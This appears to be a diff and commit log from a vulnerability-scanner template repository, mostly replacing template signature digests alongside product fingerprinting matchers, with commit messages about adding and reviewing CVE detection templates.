          - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
        condition: or
-# digest: 4b0a00483046022100a69600c4e9f3b753c3eb7aa9d07c3031f805f250d2c947afb3d2b3e3932d3099022100a7c96363cf74787518c8ac6098787ec5f35e29635ce3900cbb95f1865c0af73d:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201d7003aa34321b79e6cb9d830ef3313be9cc473fd82573c9929ab6411ea4a116022034775026f675771d636700e1e627cd45be1f24728a94e9169ab3e14a4de1fcc6:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220037e8f3fb73cfe9db267393bb735a8b68979b20a0388c79074e5ffe682911f6a022100c410e3df944fbfd209b8215784513e298f44efbe89012334b9afc654e9efb9b5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220512d6188160adbb633c8429a68c815a5b6f4f830e6f27f4bf565bf055b679817022100e96306f34893f40742c30995bd632e724b3a0edc84d5dc5b55edebbb616d9364:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4b0a004830460221008bdfa4eef3d71d2175ab8a91db93471fbbb59c1a68fc83ca7b177020283aae66022100f2f8576f1d215c2032bd3a717ffdb0467299ffec2e74c05edc216f1901c6f02c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fb8d9e1dd4c38f1471b4ca7f66786aad737ca01876c8e80c7c4fd7fda0bf9d5602203c08f2ef2675ad25a0877735b192a8dc892f1ede83a1b2d91922fd66144d5522:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '_v=([0-9\.\-]+)'
-# digest: 4a0a00473045022100858694025a8eb91b1db44e19c68f14818449c75b0e49ca4ec7f2626af0c31508022049bb1e52a1d13f58237899931c857190c18634d1bde8c7525cd23a5abd52c5ab:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022031af84b1ac3845c38846c4e3949dd510ece19772e363be901ed14d806b3fc02d022100c8331ba356b5f62674f76ef55b25cd353be618316c4fe443ce2f96065f2b977d:922c64590222798bb761d5b6d8e72950
@@ -25,4 +25,4 @@ http:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "<title>ngsurvey enterprise survey software</title>", "ngsconfig.js")'
        condition: and
-# digest: 4a0a00473045022036b23846a401809d72ace4434c4fea776b2fb863ee6906e07117620f99728870022100de7143476ad27b5faa27220d9ff571a498b4b61cdd507d92b7a7c1733f48c7a2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008cbb3e9c52fa8787de9f5afe718225defdfc0a8bc3223507a93b49a552a1316c02203ce59f753642f04f33d4f0362177c7ec69e9aa6edd589a0a21aa2862fbe545dd:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100dc11eaa749ee281efe9d55c4db8f90b5e10daddf908bf3cc100456a51806eba9022100eabc435b4679198ddf627c1873e9039b6dee5d7c00343f5436054f709df3e942:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220319fb19087555edc0bf7391d2ede665e26fe259a81067922ad809ebcc164165202207cb73094e0ebe0bb6d2b93b47b84518a1d947f3a759d07610bc32bf0cfb55e5d:922c64590222798bb761d5b6d8e72950
@@ -51,4 +51,4 @@ http:
        group: 1
        regex:
          - '(?i)Login\s+-\s+Oracle\s+Access\s+Management\s+([a-z0-9]+)</title>'
-# digest: 4a0a004730450221008b13ad2674517f6c53e26d4bbb29cbdce5aff1fdc2316c9b978253471c4625fb022067e2f84bb5f797f45285c0ab7d999ad4df64808e84926beea1ce3cb149533b9c:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220496ab7c99a7d8764c344e9515619ba4f71bd918cca337c2833f1b1a26f9f6c34022010a9acde5d392f7fbe7c4532ba37e0152579c8e58fd0c861c622bbc8dd504f43:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100cd1b1c21229914affce435d7d096dc7ef99b653d57b63e79c07506289788d9d702205a89280efa8dd84784549d2797602d933f1b26452a5e4abf317c4b84f3da065e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b109659fc94c4759fd3c7c1e61a88e25b46288771568c0e3b7673e50ddcbde67022067f5030f16bacf2ff315abf815dba6f240cb9a1c295d95c420c22bb68516c648:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'status_code == 200'
          - 'contains_all(body, "PhotoPrism", "login")'
        condition: and
-# digest: 4b0a00483046022100df3bb7e4bfba649f201c2542a3f3ee03efc48703d6ae88df0abdff41faf6dac3022100c177a50995b2387c5f6d40d454b113e2372e67e067ce566a4472fe6ae6c07d3b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022014590dfa9a275d2d0026848b092832613d11f16b962c9abada712828d7cd5c7c022100a15180ab308ebf7e64f8f515bdf43b9a8a8d3b52aef1a75eddc349c75334b7e8:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402201ae9b8b2dff3832af85edf228e6bc26516ca1f22e6c6641a4eb9b495e5979a9402203b528604e8e450c00dc89dee6169be99e323aa9772dd18c33ad95385903dee0a:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200868cd835e65ef0a9602208a96bd9b3edb9ceb2fbea0e8ff4757dcf79e8de01b02203d373f2eee45df2bc1ea22edde8fd23348377fb1107bd77b547ac7c25c6b7e8f:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - '<title>Procore Log In</title>'
          - 'Log in to your Procore account using your email and password'
        condition: and
-# digest: 4a0a00473045022100a7d66f1298fea663985f4cbdcde986729e0443f1094889300769383c1d98085a0220517789e9ae7f320b928b405975654715c9394171dd7e1170582e39d1db3b26ad:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203fd532cab61543bc86d8d8bd43d723b1d21a8d2e48a58501c710266b40ed97ab022100e11831e863d690255d9edd560e0b55b4787970e3d2f2b94eb762a5ea47825fa0:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+PRONOTE\s+([0-9.\s\-]+)'
-# digest: 4b0a00483046022100bef98de0a433b7263dae783c5cf16cf58df3c3855d586715ebd5db0e3ec6eb51022100c441271712429591a37dc07be4413f51d29804090202d41724bb1e1c9024b412:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a1812972df83fb8752201468a3ac6db955adb27e6b7942dda9c88ee4ad292931022100c8eddf4f07ca6ceafab631b3f0877cebe975509774327a732f23fdd3286681a2:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'V=([0-9.]+)'
-# digest: 4a0a0047304502210098e82aaef3b471d2bc71993760eb7b4ec6f4443bae9e3f865009fbebf458b4c1022050fc9789266b3478b6d0a14e32f269fc7d404e166c4d664919207b4bd7daf03f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dfed9661d7989ee489701bd6050b26204ce229bb9bd634cdf0f1cf0ab88804ae022066cac6bcdeeeb2fa9755c290c4c89516cdf857c3abe4c4014a1b36464afd9138:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ http:
        group: 1
        regex:
          - 'Version\s+([0-9\.]+)\s+-'
-# digest: 4a0a00473045022100fb5bf3bd217a7928085bf3b5de2735e67eca277c84b9b3a4a7eb39e7f07bd1ef02200fdc374adbf92b2e745927232e0926d7d8921ea0e7a53490a30a60eae4274d3c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204d9402238e7f3b714e0dd1718931a66465fefea2ff25bed4ee12a708b18e2afe0221009d0a20f4b0da985cfddb10a997b07d8cc5bf8207756714bd8fe9aadc038a37a5:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ http:
        group: 1
        regex:
          - '"applicationVersion"\s*:\s*"([0-9.]+)"'
-# digest: 4b0a00483046022100f8e3b25f165439d93f3d3ec0a293e26e3aa8676835f76fed7c7f0495dc58c60d022100e10f4e1e0670942802b2e9ff070d1fa6f043fd6e62ad414bd114ff221dd542d7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cbec30e641d2bcf48573578397775dbb59d8e502bd690a9a50e8a7629f3e82760221009cf790c8ad76844a366805facf32f61b79ec008b492582d466f9000c1841baac:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
      - type: dsl
        dsl:
          - "status_code==200 && (\"-608690655\" == mmh3(base64_py(body)))"
-# digest: 4b0a00483046022100f5e654f2412d7b7808b80f413d535ebcc66018eed05b503b2e5d61499d13c474022100fc3e96c57412dba76f78eadee07e84ea191e979a688d6783433ac859ddcf291d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220565700c3f091785ed94963750c210d6b4acb7273beb0aa5a38657baf2110ea00022100c87195ddabb334e359162008dbdcd1df07d0f341e9839d584ca43a8a2189cdfe:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022065705ce050aa46eea8c941e16e8efa0cb313b3096420b72f7ada16cba40f3cf0022100b4081a5170ef79256aa1fa1d634dee838310262e47462d5c3ad35ebfa133734b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210090e26722977f0436c578d13a5f448e9d396cda8d740ea4879324029c3728ad35022100d54f7c9f59ee2ab87c406b592ac3e85e574a85fa667aa9d5147d1712bf73869c:922c64590222798bb761d5b6d8e72950
@@ -25,4 +25,4 @@ http:
          - 'status_code == 200'
          - 'contains_any(to_lower(body), "vince - high performance", "vince · open source web", "Welcome to Vince")'
        condition: and
-# digest: 4a0a00473045022052c140a6f2826ed5e086933a46e840da2c78cfdd986864c79e808855f5940b660221009486f31f1be66f76ef47625957d2864be7f1514f9e595491f04d82c6b5adf4c0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d5b535f1314a6063d949a9a34d76ad29c766f206a40f47d7b7783446a0c86730022030a7d05ee34984a83d4ffffbdb8bac457413729164171eac841c56a5919fae81:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100f112d4d39681c47d23aa3216881026f36c7427e50ef257486a7982e5640003e0022100ceb9481f7c42e798d1b77b69d06c057c8184a057fb7b5aa56b689f83e67c6ac9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e1f9620f16f60b9cfcf96c9edba37c3a585afb3c53c6694e1b9b34e5b3131d1e022100ffe3f9e2b7821227164f8f6172dc782ba3b16fb7c434609935e550a5825a403a:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
        part: server
        words:
          - "wildix"
-# digest: 4a0a0047304502205fb7393a8b87440a5834f0de8f20ca62698ccf367e46c04a4f47e5d8d411e2e7022100f87aa3a64ffa8c978108af39496af9142837b086090b84a62a9eb93119a82e80:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a91bbb6e67b0166c0445d10115dfe65faab9a3736af1041d5845afe040bf1f4202203f1dcd2e81f29a82423e2701e113961c8dfe7aee6cfce9a09ae6fa1ab64326ce:922c64590222798bb761d5b6d8e72950
@@ -58,4 +58,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220253042fd238f34098dd00533f0f3b56fa5e6a8817053890d4181928b30e8bd7e022100e367825cad9b0264eea0e6a26e1f6e4c030b03ac4f8a2f7772e95a6560da849d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100feda957d7a420ff813241ca1acc30ee7252055e388fb9151798cfd6c81b0d6d5022100dd1a8a722425e0f003b7b13eef98b624807f3400933659d6a3d02ad768c817cf:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200d8ebd65d96ac5f8523b778b36358147c529c1547a0b55b8d5999da8dbd074f3022100d5e1d3544d33e5574642a4dc1ed1e109271b795dc5da7b46eef1b51c5d3acf89:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dce45426bfa24282f958a37a68e2699e4363a48627377e267b356ea7175187f3022020da28b2c08476993594b761e3722cc78c465d06bb77b14244ff713c993e029f:922c64590222798bb761d5b6d8e72950
@@ -26,4 +26,4 @@ http:
          - "contains(body, 'android_app')"
          - "contains(content_type, 'application/json')"
        condition: and
-# digest: 4a0a0047304502206ed00fad4c1f11dbac9031d3d72d4e2884751d28562b47970532659c73abdd36022100835b5f9a6a5347c7471e973902a06699607ea990ec63385e707fff73d0969271:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206c33470bf7ed5fe124215f17204709b001d5b7567b8e9b9164ab0493d82b811a0221009985280d0dc5c594d1347b8c25e4f1d62967b7afdb7efa9eeaebca5fb6349768:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
        name: discord-bot-invite
        regex:
          - "https?:\\/\\/discord\\.com\\/oauth2\\/authorize\\?client_id=([0-9]+)[^\\s\"']*"
-# digest: 4a0a00473045022053a9000e4c2e5fc736c9c23bd8e41ad4b10ca63d65f0ea0d50c8f668bdac29dc0221008820af18822f3afcac37cf1afee680683842416159b2041db24edc9ad6b5b96a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008c99d62b66f502982ad4fbc71c1aaa6ca852b44efef612f5500740b5c36a3ebf022100f1c70ae4f10558ca7a4f138ae32c346099a5c4078cd7eda24957f7abcaa78163:922c64590222798bb761d5b6d8e72950
@@ -36,4 +36,4 @@ http:
        part: body
        regex:
          - "-----BEGIN PGP MESSAGE-----[\\s\\S]+?-----END PGP MESSAGE-----"
-# digest: 4a0a00473045022100ee34e01c862b9a5e0117b858491c3f9fc0b301964ba802ddaa52aae53b4dddbc0220101bbb1f949b0dcac5b0c9200a8d3e617a55fae4a11826130d4b46a438f6a513:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009a79f881f263e8992171b8b6b84aa52315a0bbd0cfecfd260dd817a7c25a86940221008302c4dddaf5b9ed1f1a3f443529a2d52f504fce54dd1b261b0d71d28eb31559:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        part: header
        regex:
          - '(?i)max-forwards:\s+([0-9]+)'
-# digest: 4a0a004730450220336877074d205b9565390e8a11287e23856de54b12a0a9cfec98f6e5be1dd53c022100bbf1eef6506a5290deb8a902937d7ce279ff4468112cc8ea252ec2657156a685:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220181a471e79454d4a9402887e50a964c3d02fbd53561a4b92cad72b6a304c059902203ca90e7d6757db9e80e3595f094f8796e5c79803cebc0967a88ca0a6227efcd1:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
        group: 1
        regex:
          - '(?i)onion-location:\s*(https?://[a-z0-9]+\.onion)'
-# digest: 4b0a00483046022100a73bd5fe866c49e58a63c21752821b3644693b43e46a23fc2db7fb33a17cde0e0221009f66b8fc6d0901a7b040a590dc6c695fb0e76afab7e05a1d97786c9ca6b99866:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200a8162ccdf01604e6caede579f42137629d17c92e24cacfce7ee3558e8420f6b022100884dd1aa9c3fec78b4b4a9d0a72f3de509ee65b3486001b6bc7bc7250c3f0f77:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200cc01d5642227aef587c8186f8f0290b073cf74fe6f642f199ea4995753e474e022100b8fc2cc32dbb0dfd3ed1ff538592878d4ca1855f8c9b8989c5a626092012a09d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ee44b5390a15e19ce33222f9a3594efff018fc176daece8ee06dc903c6dd3f0d022100ff48c0797f52f918ef1e57c0f1e2316dc3711a14cf47fbd7d54802fde7a407e2:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
        part: body
        regex:
          - "magnet:\\?xt=urn:btih:[a-zA-Z0-9]*[^\"'\\s<]*"
-# digest: 490a004630440220081680262d794e30c9da390cf9d9bc0388827508cd03554b89504e430b64856c02205d1b9b16170e8dfe5dadacc1e425dc28bdf4ebc7c505788e6be8b4dd41f37c90:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210098781dbebf3bab8f1887f14a8a1338f4d1482dce7350f99f60ea95a12e46779f022100b1cabeba8ed8b8b8bfebdf05cfd2b912f1dd2d1b412930c4035403714f3cb7ad:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022035fa123c1a79b35f2e8260d6fd33b138e68d8b38779d22a6eba4bc18489942b3022100cfbce74b20b658ba757a3a40847aede8ab3d8a65496b36f8886fccaaf68f69dc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a62f383bba15fea5ea4a7eeabb23b3ff4a0bfdd8928603f7a2856708cea46ab8022018ca996340c51e961101724ad242cd73943a47f0a6167ecb35dfd745840198c2:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
          - 'contains(body, "layout:\"fit\",title:\"uniGUI Standalone Server\"")'
          - 'contains(body, "layout:\"absolute\",title:\"Server Statistics\"")'
        condition: or
-# digest: 490a004630440220484913ef729a7a426c4d54adc94716a25581972d32b9bc92a86ab67fe12122800220592b65ddefb3511e6923ba2902e4b2293f166d891564a29c581b042b96afbfdb:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b3161884fd5404a931e71cca5762e11295290240d1d6a224da0e62f8e9bdfa85022100862dce8c60d58b89ac41e58591a1f291ee3c499052fabf90ef45d906690b1f75:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"1password.com")'
-# digest: 4a0a00473045022100a69ed5c640582bd639daed5e7c12e2efa6b7c368cd92400704835ef1760c42f402207be1a729048e0f39bac1dbfa381dd0d3538ffe1257fa487ee62f328bf0ac991b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100957b8a3537b9232386621f8cf4f2663a2bcd734d96e8cba7df982b547abd125d022100f0b82336039ae4e0c0ce555dcb99c07e4ebc01f03e924ce04b0a3ba64d478bbb:922c64590222798bb761d5b6d8e72950
Author	SHA1	Message	Date
Prince Chaddha	d3f221e9ef	Review and update CVE-2025-7340 template - Add impact and remediation sections - Add proper reference links - Add CVSS classification data - Add vendor/product metadata - Add Shodan query for detection - Update tags to include vendor name - Mark as verified and set max-request	2025-07-17 14:56:49 +04:00
pussycat0x	15705879b8	Create CVE-2025-7340.yaml	2025-07-17 09:47:28 +05:30
ghost	10556d9eaf	chore: update WordPress Plugins 🤖	2025-07-17 00:28:44 +00:00
ghost	66eff66715	chore: generate templates checksum 🤖	2025-07-16 12:37:53 +00:00
ghost	77a5731c1e	chore: sign templates 🤖	2025-07-16 12:37:49 +00:00
Dhiyaneshwaran	b7f73fab4b	Merge pull request #12596 from matejsmycka/printer-add-context fix: update printer info leak template to print more context	2025-07-16 18:07:25 +05:30
pussycat0x	ab71611b5e	Update printers-info-leak.yaml	2025-07-16 17:59:28 +05:30
ghost	3012e75b1a	chore: sign templates 🤖	2025-07-16 12:20:21 +00:00
ghost	28f06c7649	chore: generate templates checksum 🤖	2025-07-16 12:20:18 +00:00
ghost	0d1ca58a9b	chore: generate CVEs metadata 🤖	2025-07-16 12:20:17 +00:00
Dhiyaneshwaran	8a5522cc71	Merge pull request #12610 from projectdiscovery/moved-code-cves moved code CVEs	2025-07-16 17:49:54 +05:30
Prince Chaddha	3c03239c0a	moved code CVEs	2025-07-16 16:03:13 +04:00
ghost	985ffee07c	chore: generate new addition list 🤖	2025-07-16 11:46:10 +00:00
ghost	71cee110ba	chore: generate templates checksum 🤖	2025-07-16 11:46:08 +00:00
ghost	7a909eb82a	chore: sign templates 🤖	2025-07-16 11:46:06 +00:00
ghost	7f47513d94	chore: generate CVEs metadata 🤖	2025-07-16 11:46:04 +00:00
pussycat0x	2b7ac1fe10	Merge pull request #12608 from projectdiscovery/CVE-2020-29390 Create CVE-2020-29390.yaml (Zeroshell - Command Injection)	2025-07-16 17:15:41 +05:30
Prince Chaddha	146eebb7ff	Update CVE-2020-29390 template - improve name format, add impact/remediation sections, add NVD reference, add max-request metadata	2025-07-16 14:00:15 +04:00
Dhiyaneshwaran	f519a9814a	Create CVE-2020-29390.yaml	2025-07-16 15:12:13 +05:30
ghost	c2b6b52235	chore: generate new addition list 🤖	2025-07-16 08:59:12 +00:00
ghost	5ce27730a1	chore: generate templates checksum 🤖	2025-07-16 08:59:09 +00:00
ghost	699eaf972c	chore: sign templates 🤖	2025-07-16 08:59:04 +00:00
ghost	e92eda7276	chore: generate CVEs metadata 🤖	2025-07-16 08:59:02 +00:00
pussycat0x	01c74c8718	Merge pull request #12605 from projectdiscovery/CVE-2025-6851 Create CVE-2025-6851.yaml (WordPress Broken Link Notifier < 1.3.1 - Unauthenticated SSRF)	2025-07-16 14:28:40 +05:30
ghost	4fbfc83aaa	chore: generate new addition list 🤖	2025-07-16 08:03:09 +00:00
ghost	7574eaef93	chore: sign templates 🤖	2025-07-16 08:03:04 +00:00
ghost	1f42745d6c	chore: generate CVEs metadata 🤖	2025-07-16 08:02:58 +00:00
Dhiyaneshwaran	db927e08c2	Merge pull request #12601 from projectdiscovery/CVE-2025-53833 Create CVE-2025-53833.yaml (LaRecipe < 2.8.1 Remote Code Execution via SSTI)	2025-07-16 13:32:35 +05:30
Prince Chaddha	619507861c	Update CVE-2025-6851 template according to review guidelines - Add impact and remediation fields - Add missing classification fields (cvss-metrics, cvss-score, cwe-id, epss-score, epss-percentile, cpe) - Add vendor/product metadata fields - Expand remediation description with more details	2025-07-16 11:53:06 +04:00
ghost	df162c434c	chore: sign templates 🤖	2025-07-16 07:43:07 +00:00
ghost	493d3a9e24	chore: generate templates checksum 🤖	2025-07-16 07:42:55 +00:00
ghost	e8452502e4	chore: generate new addition list 🤖	2025-07-16 07:42:53 +00:00
pussycat0x	dca387391a	Merge pull request #12600 from projectdiscovery/wp-ninja-tables-lfi Create wp-ninja-tables-lfi.yaml (Ninja Tables <4.1.9 - Unauthenticated Arbitrary File Read)	2025-07-16 13:12:23 +05:30
ghost	fc017eb337	chore: update WordPress Plugins 🤖	2025-07-16 00:28:00 +00:00
Dhiyaneshwaran	dc96d101fc	fix-trail-space	2025-07-15 22:07:30 +05:30
Dhiyaneshwaran	3eb77662f2	Create CVE-2025-6851.yaml	2025-07-15 22:02:15 +05:30
Prince Chaddha	ff3e03131e	Update printers-info-leak.yaml	2025-07-15 18:48:07 +04:00
Prince Chaddha	c5e6de115f	Update wp-ninja-tables-lfi template with improved metadata and structure - Added proper impact and remediation sections - Added vendor and product metadata fields - Added wp-plugin and lfi tags for better categorization - Improved description formatting - Enhanced template structure following review guidelines	2025-07-15 17:51:31 +04:00
Prince Chaddha	5b78cea01f	Update CVE-2025-53833 template with improved classification and metadata - Added proper classification section with CVSS metrics, score, and CWE - Separated impact and remediation into dedicated sections - Added vendor and product metadata fields - Fixed template structure following review guidelines	2025-07-15 17:31:40 +04:00
Dhiyaneshwaran	f0f3a6f103	fix-false-positive	2025-07-15 18:46:54 +05:30
Dhiyaneshwaran	22cfb81bb2	Create CVE-2025-53833.yaml	2025-07-15 17:16:11 +05:30
ghost	5dda459760	docs: update README 🤖	2025-07-15 07:47:26 +00:00
ghost	123c563ecb	chore: generate templates stats 🤖	2025-07-15 07:46:49 +00:00
ghost	4ed154c08b	chore: generate new addition list 🤖	2025-07-15 07:10:35 +00:00
ghost	d76fda1cf2	chore: sign templates 🤖	2025-07-15 07:10:31 +00:00
ghost	f9e6eb6403	chore: generate templates checksum 🤖	2025-07-15 07:10:29 +00:00
Prince Chaddha	3256fe7530	Merge pull request #12593 from projectdiscovery/Nuclei-Templates-v10.2.5---Release-Prep Nuclei Templates v10.2.5 - Release Prep	2025-07-15 12:40:05 +05:30
Dhiyaneshwaran	45d01b5a7c	Create wp-ninja-tables-lfi.yaml	2025-07-15 12:36:22 +05:30
Prince Chaddha	55bebf6488	Merge branch 'main' into Nuclei-Templates-v10.2.5---Release-Prep	2025-07-15 12:32:13 +05:30
Matej Smycka	cf67502739	fix: update printer info leak template to print more context	2025-07-14 18:03:09 +02:00
Prince Chaddha	45614f997c	replaced requests with http	2025-07-14 16:25:10 +05:30
Prince Chaddha	36b2759b30	removed invalid templates	2025-07-14 16:15:35 +05:30
@@ -1 +1 @@
 .4
 .5
@@ -1 +1 @@
 .4.1
 .4.2
@@ -1 +1 @@
 .3.9
 .3.10
@@ -1 +1 @@
 .2.15
 .2.16
@@ -1 +1 @@
 .1.7
 .0.0
@@ -1 +1 @@
 .5.12
 .5.13
@@ -1 +1 @@
 .1.4
 .2.0
@@ -1 +1 @@
 .19.5
 .19.6
@@ -1 +1 @@
 .45
 .45.1